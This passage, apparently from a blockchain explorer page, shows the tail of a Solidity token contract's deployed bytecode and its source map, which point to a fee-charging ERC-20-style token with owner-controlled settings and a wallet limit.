d5b6000612869826122a2565b9150612874836122a2565b9250826128845761288361282f565b5b828204905092915050565b60008151905061289e816122ac565b92915050565b6000602082840312156128ba576128b961223f565b5b60006128c88482850161288f565b91505092915050565b60006128dc82612559565b9050919050565b6128ec816128d1565b82525050565b600060408201905061290760008301856128e3565b612914602083018461234e565b9392505050565b60008151905061292a81612612565b92915050565b6000602082840312156129465761294561223f565b5b60006129548482850161291b565b91505092915050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000612993600883612198565b915061299e8261295d565b602082019050919050565b600060208201905081810360008301526129c281612986565b9050919050565b7f62616c616e63654e6f74456e6f75676800000000000000000000000000000000600082015250565b60006129ff601083612198565b9150612a0a826129c9565b602082019050919050565b60006020820190508181036000830152612a2e816129f2565b9050919050565b6000612a40826122a2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a7257612a7161271e565b5b600182019050919050565b6000612a88826122a2565b9150612a93836122a2565b9250828201905080821115612aab57612aaa61271e565b5b92915050565b7f77616c6c65746c696d6974000000000000000000000000000000000000000000600082015250565b6000612ae7600b83612198565b9150612af282612ab1565b602082019050919050565b60006020820190508181036000830152612b1681612ada565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612b8a81612276565b92915050565b600060208284031215612ba657612ba561223f565b5b6000612bb484828501612b7b565b91505092915050565b6000819050919050565b6000612be2612bdd612bd884612bbd565b61252d565b6122a2565b9050919050565b612bf281612bc7565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612c2d81612264565b82525050565b6000612c3f8383612c24565b60208301905092915050565b6000602082019050919050565b6000612c6382612bf8565b612c6d8185612c03565b9350612c7883612c14565b8060005b83811015612ca9578151612c908882612c33565b9750612c9b83612c4b565b925050600181019050612c7c565b5085935050505092915050565b600060a082019050612ccb600083018861234e565b612cd86020830187612be9565b8181036040830152612cea8186612c58565b9050612cf96060830185612503565b612d06608083018461234e565b969550505050505056fea26469706673582212205f548f4a8ac40d6784ef591f390944651cbebf9a4414f7692c0eba84b275aca464736f6c63430008110033
Deployed Bytecode Sourcemap
2959:8452:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5110:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5873:159;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5314:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7698:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6040:336;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6836:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5212:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7732:120;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3264:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3408:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7151:406;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3538:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10304:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3363:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10341:88;;;;;;;;;;;;;:::i;:::-;;4874:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5422:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2582:148;;;;;;;;;;;;;:::i;:::-;;2385:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11250:121;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5004:98;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10437:261;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5549:165;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7603:87;;;;;;;;;;;;;:::i;:::-;;7565:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5722:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2738:214;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5110:94;5158:13;5191:5;5184:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5110:94;:::o;5873:159::-;5948:4;5965:37;5974:10;5986:7;5995:6;5965:8;:37::i;:::-;6020:4;6013:11;;5873:159;;;;:::o;5314:100::-;5367:7;5394:12;;5387:19;;5314:100;:::o;7698:25::-;;;;:::o;6040:336::-;6138:4;6155:36;6165:6;6173:9;6184:6;6155:9;:36::i;:::-;3527:1;3518:11;6206;:19;6218:6;6206:19;;;;;;;;;;;;;;;:31;6226:10;6206:31;;;;;;;;;;;;;;;;:38;6202:145;;6329:6;6295:11;:19;6307:6;6295:19;;;;;;;;;;;;;;;:31;6315:10;6295:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;6261:11;:19;6273:6;6261:19;;;;;;;;;;;;;;;:31;6281:10;6261:31;;;;;;;;;;;;;;;:74;;;;6202:145;6364:4;6357:11;;6040:336;;;;;:::o;6836:26::-;;;;:::o;5212:94::-;5264:5;5289:9;;;;;;;;;;;5282:16;;5212:94;:::o;7732:120::-;2522:10;2512:20;;:6;;;;;;;;;;:20;;;2504:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;7841:3:::1;7828:10;7812:26;;:13;:11;:13::i;:::-;:26;;;;:::i;:::-;:32;;;;:::i;:::-;7799:10;:45;;;;7732:120:::0;:::o;3264:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;3408:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;7151:406::-;2522:10;2512:20;;:6;;;;;;;;;;:20;;;2504:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;7373:6:::1;7358:12;:21;;;;7406:7;7390:13;:23;;;;7442:12;7424:15;:30;;;;7484:13;7465:16;:32;;;;7529:20;7508:18;:41;;;;7151:406:::0;;;;;:::o;3538:27::-;;;;;;;;;;;;;:::o;10304:30::-;;;;:::o;3363:36::-;;;;;;;;;;;;;:::o;10341:88::-;2522:10;2512:20;;:6;;;;;;;;;;:20;;;2504:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;10409:12:::1;10391:15;:30;;;;10341:88::o:0;4874:122::-;2522:10;2512:20;;:6;;;;;;;;;;:20;;;2504:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;4981:7:::1;4963:15;;:25;;;;;;;;;;;;;;;;;;4874:122:::0;:::o;5422:119::-;5488:7;5515:9;:18;5525:7;5515:18;;;;;;;;;;;;;;;;5508:25;;5422:119;;;:::o;2582:148::-;2522:10;2512:20;;:6;;;;;;;;;;:20;;;2504:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;2689:1:::1;2652:40;;2673:6;::::0;::::1;;;;;;;;2652:40;;;;;;;;;;;;2720:1;2703:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2582:148::o:0;2385:79::-;2423:7;2450:6;;;;;;;;;;;2443:13;;2385:79;:::o;11250:121::-;2522:10;2512:20;;:6;;;;;;;;;;:20;;;2504:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;11358:5:::1;11329:17;:26;11347:7;11329:26;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;11250:121:::0;;:::o;5004:98::-;5054:13;5087:7;5080:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5004:98;:::o;10437:261::-;10515:4;10497:23;;:6;:23;;;10494:197;;10543:6;10536:23;;;10560:15;;;;;;;;;;;10584:6;10577:24;;;10610:4;10577:39;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10536:81;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10632:15;;;;;;;;;;;:24;;:47;10657:21;10632:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10494:197;10437:261;:::o;5549:165::-;5627:4;5644:40;5654:10;5666:9;5677:6;5644:9;:40::i;:::-;5702:4;5695:11;;5549:165;;;;:::o;7603:87::-;2522:10;2512:20;;:6;;;;;;;;;;:20;;;2504:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;7670:12:::1;;;;;;;;;;;7669:13;7654:12;;:28;;;;;;;;;;;;;;;;;;7603:87::o:0;7565:31::-;;;;;;;;;;;;;:::o;5722:143::-;5803:7;5830:11;:18;5842:5;5830:18;;;;;;;;;;;;;;;:27;5849:7;5830:27;;;;;;;;;;;;;;;;5823:34;;5722:143;;;;:::o;2738:214::-;2522:10;2512:20;;:6;;;;;;;;;;:20;;;2504:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;2847:1:::1;2827:22;;:8;:22;;::::0;2819:43:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2907:8;2878:38;;2899:6;::::0;::::1;;;;;;;;2878:38;;;;;;;;;;;;2936:8;2927:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2738:214:::0;:::o;6384:177::-;6499:6;6469:11;:18;6481:5;6469:18;;;;;;;;;;;;;;;:27;6488:7;6469:27;;;;;;;;;;;;;;;:36;;;;6537:7;6521:32;;6530:5;6521:32;;;6546:6;6521:32;;;;;;:::i;:::-;;;;;;;;6384:177;;;:::o;7860:1397::-;7974:15;7992;8002:4;7992:9;:15::i;:::-;7974:33;;8037:6;8026:7;:17;;8018:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;8081:6;;;;;;;;;;;8077:91;;;8103:32;8118:4;8124:2;8128:6;8103:14;:32::i;:::-;;8150:7;;;8077:91;8180:12;8209;:16;8222:2;8209:16;;;;;;;;;;;;;;;;;;;;;;;;;:27;;;;;8230:6;;;;;;;;;;;8229:7;8209:27;:55;;;;;8241:17;:23;8259:4;8241:23;;;;;;;;;;;;;;;;;;;;;;;;;8240:24;8209:55;:81;;;;;8269:17;:21;8287:2;8269:21;;;;;;;;;;;;;;;;;;;;;;;;;8268:22;8209:81;:115;;;;;8306:18;;8294:9;;:30;8209:115;8205:413;;;8341:21;8365:6;8341:30;;8406:24;8424:4;8406:9;:24::i;:::-;8390:13;:40;8386:120;;;8466:9;:24;8484:4;8466:24;;;;;;;;;;;;;;;;8450:40;;8386:120;8540:1;8524:13;:17;8520:87;;;8561:30;8577:13;8561:15;:30::i;:::-;8520:87;8326:292;8205:413;8635:17;:23;8653:4;8635:23;;;;;;;;;;;;;;;;;;;;;;;;;8634:24;:50;;;;;8663:17;:21;8681:2;8663:21;;;;;;;;;;;;;;;;;;;;;;;;;8662:22;8634:50;:61;;;;;8689:6;;;;;;;;;;;8688:7;8634:61;8630:566;;;8738:1;8720:15;;:19;8712:28;;;;;;8765:4;8755:14;;8827:12;:18;8840:4;8827:18;;;;;;;;;;;;;;;;;;;;;;;;;:51;;;;;8863:14;;;;;;;;;;;8849:29;;:2;:29;;;;8827:51;:77;;;;;8883:17;:21;8901:2;8883:21;;;;;;;;;;;;;;;;;;;;;;;;;8882:22;8827:77;8823:207;;;8925:9;;:11;;;;;;;;;:::i;:::-;;;;;;8989:10;;8979:6;8963:13;8973:2;8963:9;:13::i;:::-;:22;;;;:::i;:::-;:36;;8955:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;8823:207;9079:12;;;;;;;;;;;:33;;;;;9105:7;9095:6;:17;9079:33;9075:108;;;9161:5;9152:6;:14;;;;:::i;:::-;9142:6;:25;;;;:::i;:::-;9133:34;;9075:108;8630:566;9208:41;9223:4;9229:2;9233:6;9241:7;9208:14;:41::i;:::-;7963:1294;;7860:1397;;;;:::o;6569:259::-;6662:4;6700:6;6679:9;:17;6689:6;6679:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;6741:6;6717:9;:20;6727:9;6717:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;6780:9;6763:35;;6772:6;6763:35;;;6791:6;6763:35;;;;;;:::i;:::-;;;;;;;;6816:4;6809:11;;6569:259;;;;;:::o;10706:536::-;3615:4;3606:6;;:13;;;;;;;;;;;;;;;;;;10783:21:::1;10821:1;10807:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10783:40;;10852:4;10834;10839:1;10834:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10878:14;;;;;;;;;;;:19;;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10868:4;10873:1;10868:7;;;;;;;;:::i;:::-;;;;;;;:31;;;;;;;;;::::0;::::1;10910:14;;;;;;;;;;;:65;;;10990:11;11016:1;11032:4;11059;11079:15;10910:195;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;11118:12;11133:21;11118:36;;11176:1;11169:4;:8;11165:70;;;11193:15;;;;;;;;;;;:24;;:30;11218:4;11193:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;11165:70;10772:470;;3651:5:::0;3642:6;;:14;;;;;;;;;;;;;;;;;;10706:536;:::o;9265:1031::-;9457:7;9437:9;:17;9447:6;9437:17;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;9417:9;:17;9427:6;9417:17;;;;;;;;;;;;;;;:47;;;;9475:17;9509:7;9505:638;;;9533:14;9566:12;:23;9579:9;9566:23;;;;;;;;;;;;;;;;;;;;;;;;;9562:270;;;9631:16;;9619:9;;:28;:62;;9666:15;;9619:62;;;9650:13;;9619:62;9610:71;;9562:270;;;9707:12;:20;9720:6;9707:20;;;;;;;;;;;;;;;;;;;;;;;;;9703:129;;;9769:15;;9757:9;;:27;:59;;9802:14;;9757:59;;;9787:12;;9757:59;9748:68;;9703:129;9562:270;9846:18;9886:3;9877:6;9867:7;:16;;;;:::i;:::-;:22;;;;:::i;:::-;9846:43;;9921:1;9908:10;:14;9904:228;;;9956:10;9943:23;;;;;:::i;:::-;;;10039:10;10012:9;:24;10030:4;10012:24;;;;;;;;;;;;;;;;:37;;;;:::i;:::-;9985:9;:24;10003:4;9985:24;;;;;;;;;;;;;;;:64;;;;10098:4;10073:43;;10082:6;10073:43;;;10105:10;10073:43;;;;;;:::i;:::-;;;;;;;;9904:228;9518:625;;9505:638;10212:9;10202:7;:19;;;;:::i;:::-;10178:9;:20;10188:9;10178:20;;;;;;;;;;;;;;;;:44;;;;:::i;:::-;10155:9;:20;10165:9;10155:20;;;;;;;;;;;;;;;:67;;;;10255:9;10238:48;;10247:6;10238:48;;;10276:9;10266:7;:19;;;;:::i;:::-;10238:48;;;;;;:::i;:::-;;;;;;;;9406:890;9265:1031;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:118::-;4924:22;4940:5;4924:22;:::i;:::-;4917:5;4914:33;4904:61;;4961:1;4958;4951:12;4904:61;4853:118;:::o;4977:135::-;5021:5;5059:6;5046:20;5037:29;;5075:31;5100:5;5075:31;:::i;:::-;4977:135;;;;:::o;5118:325::-;5175:6;5224:2;5212:9;5203:7;5199:23;5195:32;5192:119;;;5230:79;;:::i;:::-;5192:119;5350:1;5375:51;5418:7;5409:6;5398:9;5394:22;5375:51;:::i;:::-;5365:61;;5321:115;5118:325;;;;:::o;5449:329::-;5508:6;5557:2;5545:9;5536:7;5532:23;5528:32;5525:119;;;5563:79;;:::i;:::-;5525:119;5683:1;5708:53;5753:7;5744:6;5733:9;5729:22;5708:53;:::i;:::-;5698:63;;5654:117;5449:329;;;;:::o;5784:911::-;5879:6;5887;5895;5903;5911;5960:3;5948:9;5939:7;5935:23;5931:33;5928:120;;;5967:79;;:::i;:::-;5928:120;6087:1;6112:53;6157:7;6148:6;6137:9;6133:22;6112:53;:::i;:::-;6102:63;;6058:117;6214:2;6240:53;6285:7;6276:6;6265:9;6261:22;6240:53;:::i;:::-;6230:63;;6185:118;6342:2;6368:53;6413:7;6404:6;6393:9;6389:22;6368:53;:::i;:::-;6358:63;;6313:118;6470:2;6496:53;6541:7;6532:6;6521:9;6517:22;6496:53;:::i;:::-;6486:63;;6441:118;6598:3;6625:53;6670:7;6661:6;6650:9;6646:22;6625:53;:::i;:::-;6615:63;;6569:119;5784:911;;;;;;;;:::o;6701:118::-;6788:24;6806:5;6788:24;:::i;:::-;6783:3;6776:37;6701:118;;:::o;6825:222::-;6918:4;6956:2;6945:9;6941:18;6933:26;;6969:71;7037:1;7026:9;7022:17;7013:6;6969:71;:::i;:::-;6825:222;;;;:::o;7053:60::-;7081:3;7102:5;7095:12;;7053:60;;;:::o;7119:142::-;7169:9;7202:53;7220:34;7229:24;7247:5;7229:24;:::i;:::-;7220:34;:::i;:::-;7202:53;:::i;:::-;7189:66;;7119:142;;;:::o;7267:126::-;7317:9;7350:37;7381:5;7350:37;:::i;:::-;7337:50;;7267:126;;;:::o;7399:148::-;7471:9;7504:37;7535:5;7504:37;:::i;:::-;7491:50;;7399:148;;;:::o;7553:175::-;7662:59;7715:5;7662:59;:::i;:::-;7657:3;7650:72;7553:175;;:::o;7734:266::-;7849:4;7887:2;7876:9;7872:18;7864:26;;7900:93;7990:1;7979:9;7975:17;7966:6;7900:93;:::i;:::-;7734:266;;;;:::o;8006:104::-;8051:7;8080:24;8098:5;8080:24;:::i;:::-;8069:35;;8006:104;;;:::o;8116:138::-;8197:32;8223:5;8197:32;:::i;:::-;8190:5;8187:43;8177:71;;8244:1;8241;8234:12;8177:71;8116:138;:::o;8260:155::-;8314:5;8352:6;8339:20;8330:29;;8368:41;8403:5;8368:41;:::i;:::-;8260:155;;;;:::o;8421:345::-;8488:6;8537:2;8525:9;8516:7;8512:23;8508:32;8505:119;;;8543:79;;:::i;:::-;8505:119;8663:1;8688:61;8741:7;8732:6;8721:9;8717:22;8688:61;:::i;:::-;8678:71;;8634:125;8421:345;;;;:::o;8772:116::-;8842:21;8857:5;8842:21;:::i;:::-;8835:5;8832:32;8822:60;;8878:1;8875;8868:12;8822:60;8772:116;:::o;8894:133::-;8937:5;8975:6;8962:20;8953:29;;8991:30;9015:5;8991:30;:::i;:::-;8894:133;;;;:::o;9033:468::-;9098:6;9106;9155:2;9143:9;9134:7;9130:23;9126:32;9123:119;;;9161:79;;:::i;:::-;9123:119;9281:1;9306:53;9351:7;9342:6;9331:9;9327:22;9306:53;:::i;:::-;9296:63;;9252:117;9408:2;9434:50;9476:7;9467:6;9456:9;9452:22;9434:50;:::i;:::-;9424:60;;9379:115;9033:468;;;;;:::o;9507:474::-;9575:6;9583;9632:2;9620:9;9611:7;9607:23;9603:32;9600:119;;;9638:79;;:::i;:::-;9600:119;9758:1;9783:53;9828:7;9819:6;9808:9;9804:22;9783:53;:::i;:::-;9773:63;;9729:117;9885:2;9911:53;9956:7;9947:6;9936:9;9932:22;9911:53;:::i;:::-;9901:63;;9856:118;9507:474;;;;;:::o;9987:180::-;10035:77;10032:1;10025:88;10132:4;10129:1;10122:15;10156:4;10153:1;10146:15;10173:320;10217:6;10254:1;10248:4;10244:12;10234:22;;10301:1;10295:4;10291:12;10322:18;10312:81;;10378:4;10370:6;10366:17;10356:27;;10312:81;10440:2;10432:6;10429:14;10409:18;10406:38;10403:84;;10459:18;;:::i;:::-;10403:84;10224:269;10173:320;;;:::o;10499:180::-;10547:77;10544:1;10537:88;10644:4;10641:1;10634:15;10668:4;10665:1;10658:15;10685:194;10725:4;10745:20;10763:1;10745:20;:::i;:::-;10740:25;;10779:20;10797:1;10779:20;:::i;:::-;10774:25;;10823:1;10820;10816:9;10808:17;;10847:1;10841:4;10838:11;10835:37;;;10852:18;;:::i;:::-;10835:37;10685:194;;;;:::o;10885:167::-;11025:19;11021:1;11013:6;11009:14;11002:43;10885:167;:::o;11058:366::-;11200:3;11221:67;11285:2;11280:3;11221:67;:::i;:::-;11214:74;;11297:93;11386:3;11297:93;:::i;:::-;11415:2;11410:3;11406:12;11399:19;;11058:366;;;:::o;11430:419::-;11596:4;11634:2;11623:9;11619:18;11611:26;;11683:9;11677:4;11673:20;11669:1;11658:9;11654:17;11647:47;11711:131;11837:4;11711:131;:::i;:::-;11703:139;;11430:419;;;:::o;11855:410::-;11895:7;11918:20;11936:1;11918:20;:::i;:::-;11913:25;;11952:20;11970:1;11952:20;:::i;:::-;11947:25;;12007:1;12004;12000:9;12029:30;12047:11;12029:30;:::i;:::-;12018:41;;12208:1;12199:7;12195:15;12192:1;12189:22;12169:1;12162:9;12142:83;12119:139;;12238:18;;:::i;:::-;12119:139;11903:362;11855:410;;;;:::o;12271:180::-;12319:77;12316:1;12309:88;12416:4;12413:1;12406:15;12440:4;12437:1;12430:15;12457:185;12497:1;12514:20;12532:1;12514:20;:::i;:::-;12509:25;;12548:20;12566:1;12548:20;:::i;:::-;12543:25;;12587:1;12577:35;;12592:18;;:::i;:::-;12577:35;12634:1;12631;12627:9;12622:14;;12457:185;;;;:::o;12648:143::-;12705:5;12736:6;12730:13;12721:22;;12752:33;12779:5;12752:33;:::i;:::-;12648:143;;;;:::o;12797:351::-;12867:6;12916:2;12904:9;12895:7;12891:23;12887:32;12884:119;;;12922:79;;:::i;:::-;12884:119;13042:1;13067:64;13123:7;13114:6;13103:9;13099:22;13067:64;:::i;:::-;13057:74;;13013:128;12797:351;;;;:::o;13154:134::-;13212:9;13245:37;13276:5;13245:37;:::i;:::-;13232:50;;13154:134;;;:::o;13294:147::-;13389:45;13428:5;13389:45;:::i;:::-;13384:3;13377:58;13294:147;;:::o;13447:348::-;13576:4;13614:2;13603:9;13599:18;13591:26;;13627:79;13703:1;13692:9;13688:17;13679:6;13627:79;:::i;:::-;13716:72;13784:2;13773:9;13769:18;13760:6;13716:72;:::i;:::-;13447:348;;;;;:::o;13801:137::-;13855:5;13886:6;13880:13;13871:22;;13902:30;13926:5;13902:30;:::i;:::-;13801:137;;;;:::o;13944:345::-;14011:6;14060:2;14048:9;14039:7;14035:23;14031:32;14028:119;;;14066:79;;:::i;:::-;14028:119;14186:1;14211:61;14264:7;14255:6;14244:9;14240:22;14211:61;:::i;:::-;14201:71;;14157:125;13944:345;;;;:::o;14295:158::-;14435:10;14431:1;14423:6;14419:14;14412:34;14295:158;:::o;14459:365::-;14601:3;14622:66;14686:1;14681:3;14622:66;:::i;:::-;14615:73;;14697:93;14786:3;14697:93;:::i;:::-;14815:2;14810:3;14806:12;14799:19;;14459:365;;;:::o;14830:419::-;14996:4;15034:2;15023:9;15019:18;15011:26;;15083:9;15077:4;15073:20;15069:1;15058:9;15054:17;15047:47;15111:131;15237:4;15111:131;:::i;:::-;15103:139;;14830:419;;;:::o;15255:166::-;15395:18;15391:1;15383:6;15379:14;15372:42;15255:166;:::o;15427:366::-;15569:3;15590:67;15654:2;15649:3;15590:67;:::i;:::-;15583:74;;15666:93;15755:3;15666:93;:::i;:::-;15784:2;15779:3;15775:12;15768:19;;15427:366;;;:::o;15799:419::-;15965:4;16003:2;15992:9;15988:18;15980:26;;16052:9;16046:4;16042:20;16038:1;16027:9;16023:17;16016:47;16080:131;16206:4;16080:131;:::i;:::-;16072:139;;15799:419;;;:::o;16224:233::-;16263:3;16286:24;16304:5;16286:24;:::i;:::-;16277:33;;16332:66;16325:5;16322:77;16319:103;;16402:18;;:::i;:::-;16319:103;16449:1;16442:5;16438:13;16431:20;;16224:233;;;:::o;16463:191::-;16503:3;16522:20;16540:1;16522:20;:::i;:::-;16517:25;;16556:20;16574:1;16556:20;:::i;:::-;16551:25;;16599:1;16596;16592:9;16585:16;;16620:3;16617:1;16614:10;16611:36;;;16627:18;;:::i;:::-;16611:36;16463:191;;;;:::o;16660:161::-;16800:13;16796:1;16788:6;16784:14;16777:37;16660:161;:::o;16827:366::-;16969:3;16990:67;17054:2;17049:3;16990:67;:::i;:::-;16983:74;;17066:93;17155:3;17066:93;:::i;:::-;17184:2;17179:3;17175:12;17168:19;;16827:366;;;:::o;17199:419::-;17365:4;17403:2;17392:9;17388:18;17380:26;;17452:9;17446:4;17442:20;17438:1;17427:9;17423:17;17416:47;17480:131;17606:4;17480:131;:::i;:::-;17472:139;;17199:419;;;:::o;17624:180::-;17672:77;17669:1;17662:88;17769:4;17766:1;17759:15;17793:4;17790:1;17783:15;17810:180;17858:77;17855:1;17848:88;17955:4;17952:1;17945:15;17979:4;17976:1;17969:15;17996:143;18053:5;18084:6;18078:13;18069:22;;18100:33;18127:5;18100:33;:::i;:::-;17996:143;;;;:::o;18145:351::-;18215:6;18264:2;18252:9;18243:7;18239:23;18235:3